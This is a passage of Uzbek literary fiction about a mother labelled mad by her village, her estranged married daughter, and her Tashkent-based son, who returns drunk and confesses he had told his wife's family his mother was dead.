тушиши билан хотинига, ҳозир келаман, деди-ю, мотоциклга миниб, қишлоққа йўл олди. Узоқроқда мотоциклини тўхтатиб,  яёв юриб дарвозага яқинлашди ва тахталар орасидаги ёриқдан ичкарига мўралади: ҳаммаёқ жимжит, атроф сукунат измида эди. “Хайрият, – деди у ўзига ўзи.–Меҳрига ҳеч нарса қилмабди.– Хайрият”. У рўмолчани дарвоза тепасидан ичкарига отди ва қандай шиддат билан келган бўлса шундай шиддат билан ортига қайтди... Эрталаб вақтли туриб ҳовлига чиққан  Маъқул хола  дарвозахонада турган таниш рўмолчани кўриб тўхтади ва  энгашиб қўлига олди.  Пул қандай тугилган бўлса шундайлигича турарди.  Аёлнинг кўзлари қувончдан порлади, у пул ўзига қайтгани учун эмас, балки ўғлига инсоф киргани учун хурсанд эди.  Аслида Маъқул хола телба бўлса-да,  бузоқнинг  пулига мушук офтобга чиқмаслигини – уй қуролмаслигини яхши билар, шунчаки бу  пулга  иморатлик бирор нарса олиб қўймоқчи эди...   ХХХ             Бодом ўғил туғибди! Санамдан бу хушхабарни эшитган Маъқул хола  яна бир набирага етказгани учун Аллоҳга шукроналар айтиб, бирданига картошка билан тухум қовуришга тушди ва  Санамни Бодомдан хабар олиш учун туғруқхонага  юборди. Ўзи сандиғини  титкилаб, беқасам мато топди-да, чақалоққа тўн тикишга тушди. –Бодом ўғил кўрибди, –деди уни тикиш қилаётганини кўриб ажабланиб қолган Меҳрига. –Чақалоққа тўн тикяпман. –Тўн тикишни биласизми? –  сўради Меҳри. –Сен ҳам опанг ва акангга ўхшаб, онам жинниликдан бошқа нарсага ярамайди, деб ўйладингми? Бир пайтлар қишлоқнинг каттасидан тортиб кичигигача ўзим тўн тикиб берганман, ўн бармоғим ҳунар эди. Касал бўлиб қолганимдан сўнг бу ишлар юрагимни сиқиб, тикмай қўйдим. Маъқул хола ўйга толди, Меҳри унинг кўзлари ёшланганини сезди. –Она, ранжидингизми? Мен шунчаки сўраган эдим. –Нега ранжирканман, сен мени тикиш қилганимни кўрмаганингдан кейин сўрайсан-да. Шунчаки Бодом опангни соғиндим. Қизи тушмагур жуда тошбағир чиқди-да, қорасини кўрсатай демайди. Чарлар қилишимга ҳам кўнмади. Шамсиддин  мени ёмон кўрсаям оёғини узмайди,  келиб туради. Унинг важоҳат билан келиб, важоҳат билан кетганига ҳам шукур қиламан. Бодом эса... –Хафа бўлманг, –онасини юпатди Меҳри. –Уйидагилар рухсат беришмаса керак-да... –Бегуноҳ одамларни айблама,– Маъқул хола қизининг гапини бўлди.  –Эрга тегишидан олдин ҳам опангнинг феъли шунақа эди. Онамни кўриб келаман, деса эри бошига тегирмон тоши юритмас, ўзи бемеҳр. Майли, қаерда бўлсаям соғ бўлсин. –Опамникига ўзингиз боринг, шу баҳона кўриб келасиз. –Йўқ,  туғруқхонадан чиқиб олсин, Санам иккингиз борасиз. Орадан ўн кунлар ўтиб, якшанбада Маъқул хола  палов дамлаб, лаганга сузди-да, устига иккита нон, чақалоқнинг тўнчасини қўйиб Санам билан Меҳрини Бодомникига жўнатди. Бодом қайнонаси Иззат ая билан чақалоқни чўмилтириб бўлиб, эмизаётган экан, икки енгини тирсагигача шимарган Иззат ая қизларга пешвоз чиқди. –Келинглар, холажонлар, келинглар. – У меҳмонларни очиқ чеҳра билан кутиб олди. – Жиянчалар муборак бўлсин.  Қудам қани, нега олиб келмадинглар? Бешикка энгашганича боласини эмизаётган Бодом  сингилларига қараб жилмайиб қўйди, кўзи билан кўрпачага ишора қилиб: –Ўтиринглар, –деди. Иззат ая дуога қўл очди, кейин яна қизларни койиди: –Қудамни олиб келмаганларинг чакки бўлибди-да, бирпас ўтириб кетардилар. –Онамнинг сал тоблари йўқ эди, сизлар борақолинглар, дедилар. –Эсиз, келин туширганимга уч йилга яқинлашяпти, ҳали икки қуда кўришганимиз йўқ, тўйда ҳам тоблари йўқ экан, қатнашмадилар. Келинга бир-икки олиб борай, дегандим, хўпдан нарига ўтмадилар. Кейинги гал, албатта, қудам билан келинглар, йўқса, ўзимиз бостириб борамиз, шундайми, Лазизбек. Иззат ая бешикка  яқинроқ сурилиб, набирасини эркалатишга тушганди, Бодом кўкрагининг учини гўдаги оғзидан чиқариб, сингиллари ёнига ўтди. –Асалим мени, новвотим мени,  бувиси кўришга келмабдими бу ширинтойни, бувиси кўргиси келмабдими шундай шакар болачани... –Чақалоқни бир кўрай, –Меҳри ўрнидан туриб бешикка энгашди. –Кимга ўхшайди? –Бешикдаги беш турланади, ҳали бир нарса дейиш қийин, –  деди Иззат ая. –  Ҳозирча қаеридир отасига ўхшагандай. Иззат ая очиқ кўнгил, ҳар нарсага қизиқувчан  аёл экан, яна қизларни саволга тутди, ўқишларини суриштирди, Ғайбиддиннинг иши-ю, Хайрулланинг хизматигача сўради. Шундан сўнг, мен ҳозир, деб чиқиб кетди, опа-сингиллар ёлғиз қолишди. –Онам сўраб юбордилар, –Меҳри Бодомга юзланди.  –Сизни жуда соғинибдилар. –Қайнонаси айтди, деб яна онамни етаклаб келма. –Бодом онасининг аҳволини сўраш ўрнига Меҳрининг жиғига тегди. –Онам сизни еб қўядими? –  жаҳли чиқди  Меҳрининг. –Егандан баттар қилади, тутуриқсиз гаплари билан шарманда қилади, онамни олиб келадиган бўлсанг, сен ҳам келма. Қайнонам нега бунча уни суриштирганини биласанми, жинни деб эшитган, жиннилигини ўз кўзи билан кўрмоқчи, кейин ҳар гапида менга пичинг отади. –Қайнонангиз ёмон аёлга ўхшамайди, опа, –гапга аралашди Санам. –Буни қайнонам билан яшаб кўрсанг биласан. Сув илон у, бировларнинг олдида ялтоқланади, ҳеч ким бўлмаса – заҳар. – Кўр кўрни қоронғида тапади, қайнона-келин мос тушибсизлар, –жизғириб гапирди Меҳри. –Ўхшатмасдан учратмас, –деди Санам ҳам кулиб. –Устимдан кулманглар, мен гапнинг борини айтяпман. Қайнонам, орзу-ҳавас кўрмаган эмиш. Онангизникига борамиз, деган гапидан қулоқларим қоматга келди, бир амаллаб орқага суриб юрибман, аммо энди қўймайди, барибир  бу жодугар, ҳадемай бизни олдига солиб онамникига олиб бориши аниқ,  шундай экан онамнинг келиши шарт эмас. –Онам жинни бўлсаям орсиз эмас, сизникига келаман, деб кўзи учиб тургани йўқ. –Қайнонангиз борамиз деса бораверинглар, опа, –энди Санам гапга аралашди. –Онамнинг оти жиннига чиққани билан айрим соғлардан яхши,  ҳар доим жиннилик қилавермаслигини ўзингиз ҳам биласиз. Кўп ўтмай эшик очилиб, қўлида дастурхон қўтарган Иззат ая кўринди. –Қуда хола, биз қайтамиз, дастурхоннинг кераги йўқ, овора бўлманг, – деди Санам. –Овораси борми? Келиш меҳмоннинг, кетиш мезбоннинг измида. Боз устига чақалоқли уйдан қуруқ оғиз чиқмайдилар. Бодом ўрнидан туриб, қайнонаси қўлидаги дастурхонни тўшагач, чой дамлаб келди, дастурхон устига қанд-қурс, онаси бериб юборган паловдан қўйди. –Ош энди бизники,  бемалол суҳбатлашиб, олиб ўтиринглар, мен бобосининг олдиларига борай. –Ўтиринг, қуда хола, ошдан енг. – Сизлар бемалол, мен бобосининг ёнларига борай. Иззат ая чиқиб кетгач, негадир гап-гапга қовушмади, Лазизбек ухлаб қолди,  ўртага совуқ бир сукунат чўкди, Санам билан Меҳри дастурхондаги неъматлардан чуқилаб ўтиришди. –Паловдан олинглар, совимасин, –сингилларига мулозамат кўрсатди Бодом. –Уйдан ош егандик, биз энди борайлик, –деди Санам. –Қайнонангизни чақирсангиз дастурхонга дуо ўқиб берардилар. –Ўзларинг ўқийверинглар. Қизлар бир-бирларига қараб, “пиқ” этиб кулишди ва Бодомнинг хумрайиб турганини кўриб билганларича фотиҳа ўқиб, ўринларидан қўзғалишди. –Гапим эсларингдан чиқмасин, онамни олиб келманглар, чилламиз чиқса, ўзимиз борамиз. –Опа, тўтиқушдай ҳадеб бир гапни такрорлайверасизми, Меҳри, келмайдилар, деб айтди-ку, бўлди-да энди. Опа-сингилларнинг кетаётганини кўриб Иззат ая уларни бекатгача кузатиб қўйди ва қайта-қайта тайинлади: –Қудам, албатта, келсинлар. Кутаман-а. –Хўп, –   деди Санам, –айтамиз,  келадилар. –Келсин-келмасин, келсин-келмасин, –Иззат ая узоқлашгач Меҳри киноя билан гапирди. –Қайнонаси келсин, дейди, келини келмасин, дейди, қайси бирининг топшириғини бажарамиз энди, опа? – Бодомникини-да, – деб жавоб берди Санам. –Онамга, юринг, десак ҳам келмайдилар. Хоҳишлари бўлса шу пайтгача акамникига борардилар, Норхол янгам неча марта таклиф қилдилар. Тўғрисини айтсам, акамнинг хотини опамдан минг марта яхши, онамга меҳрибон. –Тўғри айтасан. –Опамнинг қайнонаси ҳам яхши аёлга ўхшайди, –деди Меҳри автобусда кетишаркан. – Лекин ўзи нега бунақа? Қайнонасига ҳам аллақачон лақаб қўйиб олибди. Жодугар эмиш.  Онасига нима каромат кўрсатдики, қайнонасига кўрсатади. Мен онамни бир соат кўрмасам соғинаман,  у эса... –Онамнинг бир гаплари эсингдами? –Санам синглисининг  сўзини бўлди. –Қайси гаплари? –Бир куни Шамсиддин акамдан калтак еганларида сен билан мен овутдик, қўл-оёқларини ўқалаб қўйдик. Ўшанда онам, битта палак ҳар хил қовун тугади, деганлари тўғри экан, ҳаммангиз ҳар хилсиз, дегандилар. –Биз қовун эмас, одам-ку, опа.  Ё Бодом опам  одам эмасми? –Унақа дема, –койиб берди Санам. –Ўзингдан катталар ҳақида ёмон гап айтма,  мақол қовун ҳақида бўлсаям одамлар назарда тутилган. Мана, масалан, ота-онамиз бир, бироқ  сен билан мен икки хилмиз, опам ҳам бошқача, феъли оғирроқ, тошбағирроқ. –Қовуннинг селитра солингани, денг опа. Санам билан Меҳри қаҳ-қаҳ отиб кулиб юборди, ҳамма уларга ўгирилди, иккаласи ҳам бирданига жим бўлди. Бу орада автобус қишлоққа етиб келди, улар гап билан   вақт ўтганини ҳам сезишмабди. Маъқул хола қизларини кўчада кутиб ўтирарди. –Опам билан қуда холам сўраб юбордилар, –   деди Санам. –  Ўзингиз ҳам бораркансиз? –Бодом ҳам шундай дедими? – ишонқирамай сўради Маъқул хола. Икки қиз бир-бирларига қараб олишди, Меҳри ёлғон гапиролмади, индамай ҳовлига кириб кетди. –Ҳа, –  деди ноилож қолган Санам ва зийрак онаси ёлғон гапирганини сезиб турганидан уялиб қўшиб қўйди: –Чилласи чиқса, қуда холам чақалоқни олиб келарканлар. –Олиб келишса, бош устига,–деди Маъқул хола, –жонимга жойлайман. Орадан анча вақт ўтиб Маъқул хола қизларини яна Бодомникига юбормоқчи эди, ҳар иккиси ҳам бормаймиз, деб оёқ тираб олди.   ХХХ   Душанба куни эрталаб Маъқул хола хуш кайфият билан ўрнидан турди. Тушида Ғайбиддин томдан ошиб келиб  онасини маҳкам қучоқлаб олганмиш,  уларга қараб Санам билан Меҳри қиқир-қиқир кулармиш. Она-боланинг ўртасида қуйидаги суҳбат бўлиб ўтибди: “Нега томдан ошиб келдинг?” “Қўшнилар кўрмасин дедим”. “Қўшнилар кўрса кўраверсин”. “Гап қилишади”. “Гапдан қўрқсанг, нега келдинг?” “Сизни соғиндим”. “Соғинсанг шу пайтгача келардинг-да?” “Тоғдан ўтолмайман, деб қўрқдим”. “Ўртада тоғ бормиди?” “Ҳа”. “Энди ўтолдингми?” “Бир амалладим”. “Қайтиб кетмайсанми?” “Кетаман, тоғнинг ортида ҳам онам ва сингилларим бор”. Маъқул хола уйғониши билан тушини эслади ва мийиғида кулиб қўйди, ўғлининг ҳар бир сўзи мағзини қайта-қайта чақаркан, таъбирини яхшиликка йўйди: Ғайбиддин келади, албатта,  келади! Унинг оғзи қулоғида эди, тилидан шу сўзлар тушмай қолди: Ғайбиддин келади, албатта, келади. Маьқул хола юз-қўлларини ювди-да, ҳовузнинг ёнига бориб сувга тикилди. “Эй обиҳаёт! Бугун Ғайбиддиним тушибга кирибди. Мени маҳкам қучоқлаб олиб, сизни соғиндим, деди. У тўғри айтди. У сира ёлғон гапирмаган, мени алдамаган,  урмаган. Мен Ғайбиддинга  ишонаман. У мени соғинган. У, албатта, келади, мени кўргани келади. Эй обиҳаёт! Мен ҳам Ғайбиддинни соғинганман. Шу кўрган тушим ўнгидан келсин ва ўғлим билан дийдор кўришиш насиб этсин, болагинамни бағримга босай...” –Тушингни сувга айтяпсанми? Маъқул хола чўчиб тушди ва бошини кўтариб, Шамсиддинни кўрди. –Кел, болам. Каллайи саҳарлаб нима қилиб юрибсан? –Санам шу ердами, кеча ўқишга кетмадими? –Йўқ, бугун эрталаб кетаман, деганди, уйғотмоқчи бўлиб тургандим. Маъқул хола сўзини тугатар тугатмас уйдан кўзини ишқалаб Санам чиқиб қелди. –Ўқишга борсанг, олиб кетаман, тез бўл, –деди Шамсиддин унга. –Ҳозир, ака. Санам апил-тапил юз-қўлини ювиб,  чой дамлади. –Ака, бир пиёла чой ичиб олайлик, сиз ҳам келинг. –Мен тўйдан келяпман, –деди Шамсиддин. –Ош едим, Абдунаби ўғлини суннат қилибди. –Бугун Ғайбиддин тушимга кирибди, –Маъқул хола Шамсиддинга умидвор термулди. –Мени қучоқлаб олди, иккаламиз суҳбатлашдик. Келиб қолармикин, нима дейсан? Сувга илтижо қилиб, тушимни ўнгига бошқар, десам, жимирлаб, товланиб кетди, жавоб қайтарди: ўғлинг келади, деди. Шамсиддиннинг энсаси қотди. –Ғайбиддин бир ҳафта аввал хотини, қизчаси билан келди, икки кеча ётишди, –деди у. – Тошкент сенга бир нарса йилт этса чопиб келадиган қўшнининг уйи эмас. Бир зумда Маъқул холанинг,  авзойи бузилди. –Нега бизникига келмади? –  жазаваси тутиб кетди унинг. – Нега менга билдирмадинг? Қанақа инсонсан ўзи? Соғинганимни билмасмидинг? –Ўчир овозингни, –ўдағайлади Шамсиддин. –У аҳмоқми, сеникига келади?  Тошкентлик хотини олдида шарманда бўлсинми? –Шамсиддин Санамга ўгирилди. – Тезроқ бўл, кетамиз. –Ўчирмайман, – Маъқул хола илк марта Шамсиддинга тик гапирди. – Ўчирмайман! Сен она юраги қанақалигини биласанми ўзи? Билмайсан! Билганингда Ғайбиддинни олдингга солиб келардинг, мана, она, бебош ўғлингиз, деган бўлардинг, мени тушунардинг, юрак-бағрим идраб ётганини сезардинг. Сен битта бола кўрибсан-у, ота бўлмабсан. Сен ота эмассан.... Сен... Сен... Ҳаммани ўзингдай деб ўйлайсан... Тошбағирсан... Маьқул хола йиғлашга тушди. –Халойиқ, мен бола ўстирмадим балойижон ўстирдим, Ғайбиддинни мендан яширди у, кўрсатмади, мени назарига илмади, мени жинни фаҳмлади... –Тезроқ чиқ, –Шамсиддин Санамга қаради. –Эчкининг орқаси қичиса, тўйхонага борармиш, нега кирдим ўзи? –Ака, ростдан Ғайбиддин акам келдиларми? –сўради Санам мотоциклга ўтираркан. –Гапнинг ёлғони бўладими? Туғилган куним сенларнинг хаёлингда ҳам йўқ, лекин у хотини билан келди. –Ҳеч қайсимизни туғилган кунимизда биров йўқламайди, ака. Улар тошкентликда, одатлари бошқача. Аммо бу ҳақда онамга бекор айтдингиз, ўтган йили келганларини ҳам яширгандик. –Жазаваси тутишини қаердан билибман. Бир ҳисобдан шуниси яхши,  Ғайбиддиндан умид қилмайди. –Қайтанга умид қилганлари яхши эди... Ўша куни кун бўйи Маъқул холанинг кайфияти кўтарилмади, туз ҳам тотмади. Кечга яқин ўтирган жойидан ирғиб турди-да, уч-тўртта кўйлагини тугунлади. –Ҳа, она,  қаерга отланяпсиз? –сўради Меҳри. –Тошкентга, энди ўзим Ғайбиддинни қидириб топаман. Меҳри онасини қайтаришга уринди. –Она, тўхтанг, қоронғи тушяпти, уйга киринг, эртага борасиз. – Йўқ, ҳозир бораман, сен йўлимни тўсма, поезд кетиб қолади, қоч. Меҳри уни силтаб ўтиб кетган Маъқул холани ушлаб қололмаслигини билиб индамади ва дарвоза ёнидаги ўриндиқда қайтишини кутиб ўтирганди, Санам қўлидан судрагудек қилиб олиб кирди уни. –Сен кўчада ўтирсанг ҳам, ўтирмасанг ҳам онам қайтади, бу унинг ҳар галги одати. Ундан кўра овқатингни е-да, дарсингни тайёрла. Меҳри индамай опасига эргашди, истар-истамас овқатини еди ҳамки хаёлидан онаси кетмади. У ўғлини қаттиқ соғинган, ўтган ҳафта расмига қараб йиғлаб ўтирганини  Меҳри ўз кўзи билан кўрганди. –Акаларингнинг орасида Ғайбиддин бошқача, кўнглимга қараб иш  тутарди, –  деди онаси унга. –Шамсиддин урса, тарафимни олмаса ҳам кўзлари жовдирайди. Кўрмаганимга икки йил бўлди-ю, худди икки юз йилдай туюлади менга. Армияга кетса ҳам эрта-индин келади, деб умид қилиб ўтирардим.  Уни кутишни ҳам билмайман, кутмасликни ҳам, афти-ангори  эсимдан чиққан. Ғайбиддиндан гина қилсамми, Бодомданми? Аъмолим қаттиқ бўлмаса, ёнимда яшаб юрган қиз ҳам қорасини кўрсатмайдими? Маьқул холанинг бўғзига нимадир тиқилди, бошқа гапиролмади. “Ҳақиқатдан нега биз бунчалар бемеҳрмиз, –ўйлади Меҳри. – Ҳаммасига онамнинг касаллиги сабабчими? Йўқса, Тошкентдай жойдан келган акам  онамдан, сингилларимдан хабар олай демайдими? Шунчалар бағритошлик, ноинсофлик қиладими? Уни соғинганимдан менинг юрагим ёняпти, онамнинг жонига тўзим берсин”. Меҳри шуларни эсларкан, юраги сиқилди. Дарс тайёрлашга ўтирса ҳам хаёли чалғийверди. Орадан бир оз ўтиб, Маъқул хола қайтди-да, овқат емай, кўрпачанинг устига чўзилганича уйқуга кетди. “Онам бечора боласини соғинган, –ўйлади Меҳри. – Мен ҳам акамни соғиндим. Жуда соғиндим”. Онасининг ҳолати Меҳрига таьсир қилди унсиз йиғлади. Уйга кириб, альбом ичидан  Ғайбиддиннинг болаликда тушган суратини топиб тикилиб ўтирди. Идиш-товоқларни ювиб келган Санам унинг йиғлаганини сезди,  қўлидаги суратни кўргач, ҳаммасини англади. –Йиғладингми? – секингина сўради синглисидан. –Ҳа. –Акамни соғиндингми? –Ҳа. –Мен ҳам соғиндим, жудаям соғиндим. Юз тузилишиниям  унутгандим, мана, суратига қариб эслаяпман. Кўз ўнгимга келтириш учун кўзларимни юмиб оламан-у келтиролмайман. У ўзгариб кетгандир. Меҳри жавоб қайтармади, унинг елкалари титрар, йиғларди.  Санам синглисини қучоқлаб олди. –Бўлди, бас қил, онам  сезиб қоладилар. Меҳри ўзини тўхтата олмади, энди опасининг кўксига бошини қўйиб йиғлади. http://tiraccontoluciodalla.it/?p=7271 ХХХ   Шу воқеадан уч ой ўтиб, шанба кунларининг бирида Санам эндигина техникумдан  қайтиб, кийимларини алмаштираётган, Меҳри кечки овқатга тараддуд кўраётган пайтда, дарвозанинг ғийқ этиб очилгани эшитилди ва у нигоҳини ўша томонга қадади. –Меҳри, танимадингми? Меҳри таниди, овозидан таниди, эҳтимол товушини чиқармаганида таниёлмай, бу башанг кийинган йигит ким экан деб тикилиб қолармиди, лекин бундай бўлмади, инсоннинг қиёфаси ўзгарса ҳам овози ўзгармас, ўша-ўша тураверар экан, шунинг учун ҳам Меҳри таниди, овозидан таниди. Дарвозадан бўйлари чўзилиб, юзлари  тиниқлашган,   кийимлари ўзига ярашган Ғайбиддин кириб келганди, Меҳри кўзларига ишонмай юраги ҳаприқиб кетди, акасини таниса-да, ўзини унинг қучоғига отишдан тийди, кўнглидан ростдан ҳам шундай келишган, чиройли йигит менинг акамми, деган савол ўтди ва маҳлиё бўлиб тураверди. Унинг жим қотиб қолганини кўрган Ғайбиддин, танимади, деб ўйлади ва саволини  такрорлади: –Меҳри, танимадингми? Меҳри таниди, овозидан таниди, аммо ўзини йўқотганди, кўзлари Шамсиддин билан Хайрулланинг афт-ангорига ўрганиб қолганиданми, савлатли, салобатли ва кўркам, нигоҳидан меҳр ёғилган, кўрган киши амалдорми, деб ўйлайдиган бу йигитни акаси эканини билса ҳам ишонқирамаётганди. Ниҳоят Меҳри ўзини акасининг қучоғига отди. Ғайбиддин синглисини бағрига босиб, пешонасидан ўпаётганида ароқ ҳиди анқиди ва Меҳри унинг ширакайфлигини билди, аммо бунга парво қилмади, негаки, ҳозир унинг учун муҳими акасининг ташрифи эди. –Она, акам келдилар, Ғайбиддин акам! Она! – Меҳри тилла топиб олган одамдай қувонч билан бақирди. Уйдан олдинма-кейин  Санам билан онаси югуриб чиқишди.  Маъқул хола ўғлини кўриб ажабланмади, жавраб-жавраб унга яқинлашди: –Ана, айтмадимми сенларга, Ғайбиддин келади, тушимга кирди  демадимми? Шамсиддин, келмайди, умид қилманг десаям умидимни узмадим, кутдим, мана,  келди, айтганим тўғри чиқди. Яна  Шамсиддин мени жинни дейди. Ғайбиддин  онасига қараб жилмайиб турарди, у ёнига чопиб келган Санамнинг пешонасидан ўпди-да, онасини қучоқлади. –Онажон! Онажонгинам! Маъқул хола боласининг юзларидан ўпиб йиғлаб юборди. –Сени жуда соғиндим, ҳар куни тушимга кирасан, ҳар куни соғинаман, ҳатто афти-ангоринг ҳам эсимдан чиқди. Ўтган гал келганингда хабар бермаганинг учун сендан ҳам, келиндан ҳам хафа бўлдим, юрагим лов-лов ёнди. Онамни кўриб кетай, соғингандир, деб ўйламадингми? Ғайбиддиннинг яхшигина кайфи бор эди, дабдираб кетди. –Кечиринг, онажон! Кечиринг! Мен ана шунақа номард ўғилман. Сизни ўлдига чиқарган ўғилман. Хотиним ҳам, унинг қариндошлари ҳам онам борлигини билишмайди. Уларга сизни ўлган, деганман. Ўтган гал хотиним ёнимдалиги учун сиздан хабар ололмадим, билиб қолмасин, деб қўрқдим. Ғайбиддин йиғлади. –Болам, нима қилардинг ёлғон гапириб? Мени уларга таништирсанг кўп гапирмай,  жим ўтирардим, хотинингни кўрардим. Тошкентлик келиним қанақа экан, деб ўйлаганим ўйлаган. Иккита қиз кўрибсан, оти ҳам ғалати экан эсимдан чиқди, уларни ҳам кўргим келади, узоқдан бўлсаям кўргим келади. –Шунинг учун кечирим сўраяпман-да, она. Бир пайтлар ота-онам ўлган, деган сўз оғзимдан чиқиб кетди, кейин алдагандим, деб айтолмадим. Ёлғоннинг орасида қолиб, сизни ўлдига чиқардим, онажон! Ғайбиддин онасини қучоқлаб йиғлайверди. Унга Меҳри билан Санам қўшилди, акасининг гаплари опа-сингилларни эритиб юборди –Йиғлама, болам, – деди Маъқул хола Ғайбиддинга. – Мана, кўряпсан, тирикман, ўлганим йўқ, гўрдан ташқарида, болаларимнинг дуойи жонини қилиб юрибман. Аканг ҳар замонда келиб тириклай кўмиб кетишини ҳисобга олмаса, аҳволим яхши, сингилларинг ёнимда. –Акамни кечиринг, она. Унинг феъли шунақа, аслида сизни ёмон кўрмайди. У эзилган, уни эзишган. Сиз билмайсиз, кўчада бизни қандай масхаралаганларини, одам ўрнида кўрмаганларини. Биз ҳаммамиз атрофимиздагилардан қўрқиб, ҳадиксираб яшаганмиз. Биз ўзимизни ҳаммадан кам, деб билганмиз. Шунинг учун сизни хушламаганмиз, сиздан ранжиганмиз, сиздан ор қилганмиз. Сизга бўлган меҳримиз устини ана шунақа юклар босиб олган. Бу юкнинг остидан чиқиш қийин бўлган. Ботиб қолганмиз. Бизни тушунинг ва кечиринг, она. –Кишининг оти бир ёмонга чиқмасин, болам. Ҳамма мени жинни деб ўйлайди. Жинниманми, соғманми, сизларни яхши кўраман, бармоқларингга  ақалли тикан киришини истамайман. Сени кўриб бошим осмонга етди, бошқача бўлиб кетибсан. –Акамга Тошкент ёқибди, она, – деди Санам Ғайбиддинга меҳр билан тикилиб. –Чиройли бўлиб кетибсиз, ака, –Санамни маъқуллади Меҳри ҳам. – Овоз чиқармасангиз танимасдим. –Ростданми? –Ғайбиддин ғурурланиб, гапни ҳазилга бурди. –Шунинг учун янганг ёнидан жилдирмас экан-да. Қишлоққа бориб келай, деб зўрға кўндирдим. “Яқинда бордик-ку, нима қиласиз?”, дейди. У шўрлик қишлоқда менинг онаизорим яшашини қайдан билсин? Нега келганимни биласанми? Билмайсан! Айтайми, онамни кўриш учун! Олдинги сафар сизларни кўрмай кетганим алам қилди, виждоним қийналди. Шунинг учун йўлга отландим ва бир йўла сиз иккала пучуқни ҳам кўрай дедим. Сизларга совға ҳам олдим. Ғайбиддин сумкасидан онасига қалин жун рўмол, сингилларига кийимлик мато чиқариб берди. –Тиктириб киясизлар, тайёр кийим олай десам, мос келадими, йўқми, деб иккиландим. –Менга шу маъқул, –деди Меҳри.– Ибодат янгам тикиб берадилар. –Менга ҳам ёқди, –Санам акасига миннатдорона боқди. –Шунақа рўмолга ҳавасим кетганди,–  деб гапирди Маъқул хола рўмолни учбурчак қилиб боғлаб кўраркан. –Барака топ, болам. Аслида ҳеч нарса олиб келмасанг ҳам бошим осмонга етарди. –Сизларга қанча қилсам оз, мен на ўғил бўлиб, на ака бўлиб бурчимни бажарганман. –Унақа гапларни айтма, болам, –Маъқул хола уни койиган бўлди. –Ҳовлида туравермай уйга кир, бугун сен учун ўзим бир палов дамлай. Улар биргаликда уйга киришди. –Уч-тўрт кун турасанми, Ғайбиддинжон? –  сўради Маъқул хола. –Эртага қайтаман. Кетиш олдидан отамнинг қабрларини зиёрат қилмоқчиман. –Шундай қил, ўғлим, отангнинг руҳи шод бўлади. У ҳам баумид ўғил ўстирган. Раҳматли меҳнаткаш инсон эди,  раис нима иш буюрса бажарарди. Менга ўзи хоҳлаб уйланди, аммо беш йил фарзанд кўрмадик. Бу нарса отангга ёмон таъсир қилди, ичиб, мени калтаклайдиган одат чиқарди. Етти мозорга бош уриб Шамсиддинни топдим. Отанг уни шунчалик эркалатдики, аканг бизни сенсираса ҳам индамади. Кейин бирин-кетин сизлар туғилдинглар, бу орада, ўзи касалланиб қолди, йил сайин ҳолсизланиб, тинка-мадори қуриб бораверди. Колхозда пахтанинг дорисини фақат отанг сепарди, духтирлар ишини алмаштирсин, дейишганди, унамади, раҳматли. “Тракторчиликдан бўшалсам нима иш қиламан, сенларни қандай боқаман?”, деб аламини ичкиликдан олди. Бир гал: ”Дадаси, ичманг шу ароқни, афти-ангорингизга қараб бўлмайди”, дегандим, “Заҳарни заҳар кесади, хотин, ичмасам дори мени енгади”, деди. Отанг ичса, отасини танимасди, айниқса, Меҳри туғилганидан сўнг мен ҳам касалланиб қолдим,  кўчага чиқиб кетадиган бўлибман. Бир гал маст бўлиб мени шунақа тепдики, бошимни деворларга уриб олди. “Менинг касалик етмагандай сен ҳам касал бўласанми, энди болаларимнинг аҳволи нима кечади”,  дер эди нуқул. Ўзига келгач, кечирим сўради, яна қўл тегдирсам, қўлларим кесилсин, деб қасам ичди, лекин  отанг қасамхўр бўлиб қолганди, ичса дунёни унутар, кўзлари косасидан чиққудай бўлиб, ваҳшийлашарди. Ўйлаб кўрсам, бу дунёга келиб умрим ғам-ғурбат билан ўтаяпти, тузук кун кўрганим йўқ. Болалигимда бировларнинг эшигида қош-қовоқларига  қараб катта бўлдим. Кейин отангнинг раъйи билан яшадим. Аммо у киши сизларни жуда яхши кўрар, ер-у кўкка ишонмасди. Меҳри онасининг сўзларини берилиб тинглади. Четдан биров келиб бу гапларни эшитса борми, уни ақли заиф аёл гапираётганига ишонмасди. Меҳрининг ўзи ҳам ҳайрон қолади: баъзида онаси  соғ одамнинг хаёлига келмайдиган гапларни гапиради, баъзан эса гапирган гапи, қилган иши куракка турмайди. Бугун ҳам Меҳри онасини эшитаркан, қулоқларига ишонмади. Шу пайтгача Маъқул хола ҳеч кимга кўнглини бу қадар очиб ташламаган, Меҳри орқаворотдан уни кўп азоб тортганини, у туғилгандан сўнг шу аҳволга тушиб қолганини, боз устига отасининг калтакларидан аҳволи баттар оғирлашганини эшитганди-ю, тафсилотини билмасди. Бугун эса  “ёрилди”. Маъқул хола бежизга кўнглини очмади, ширакайф Ғайбиддиннинг сўзлари уни сархуш қилди. “Мастлик – ростлик”, дейдилар. – Болагинамнинг қалбида менга нисбатан меҳр бор экан. Бу –  бахт, катта бахт” – деб ўйлади у. Меҳри ҳамиша акаларидан ранжиб, улардан норози бўлиб юрарди. Бугун Ғайбиддиннинг сўзларини эшитаркан, уни қайта кашф этгандай бўлди. “Акам онамни яхши кўраркан!” Мана шу фикрнинг ўзи унга қувонч бағишлади. Ўша кун Ғайбиддин уларникида қолди. Маъқул хола палов пиширди. Ярим кечагача гаплашиб ётишди. Ғайбиддин тонг саҳар ўрнидан туриб, онасининг нонушта қилиб ол, дейишига қарамай жўнаб кетди... ХХХ   Чақалоқнинг чилласи чиққанидан кейин Бодомнинг қайнонаси онангизникига борамиз, деб туриб олди. Бодом унга: “Акамникига бора қолайлик, қишлоққа юрамизми?”, деган эди, қайнонаси койиб берди. –Чақалоқни биринчи бор келиннинг онаси чақиради, ҳиммат қилса, кейин бошқа қариндошлари, онаси ўлганларники  узрли. –Майли, –деди тузукроқ ваъжи қолмаган Бодом. –Қачон боришимизни айтинг, уларга билдириб қўяй. –Якшанба куни борамиз, қайнопаларингиз ҳам  бўш бўлишади, акангизга қўнғироқ қилинг, хабар берсин. –Қайнопаларим ҳам боришадими? –юраги жиғ этиб кетди Бодомнинг. –Албатта, иккаламиз сўппайиб юрамизми? Биринчи  болангиз  ахир, бундан ташқари, онангиз сизни чарлар қилганиям йўқ. –Хўп, мен акамга қўнғироқ қилиб айтай. “Бугун жума, якшанбагача орада бир кун вақт бор”. Бодомни ваҳима босди, яқин орада онасиникига бормаган, уйлари, ҳовлиси қанақа аҳволда экани маълум эмас эди унга.  Бодом Шамсиддинга ҳамма гапни тайинлади-ю, барибир кўнгли тўлмади, икки хаёли йўлини топиб онасиникига бориб келиш бўлди. Эртаси куни Иззат ая қизларини чақалоқ чақирдига айтишга 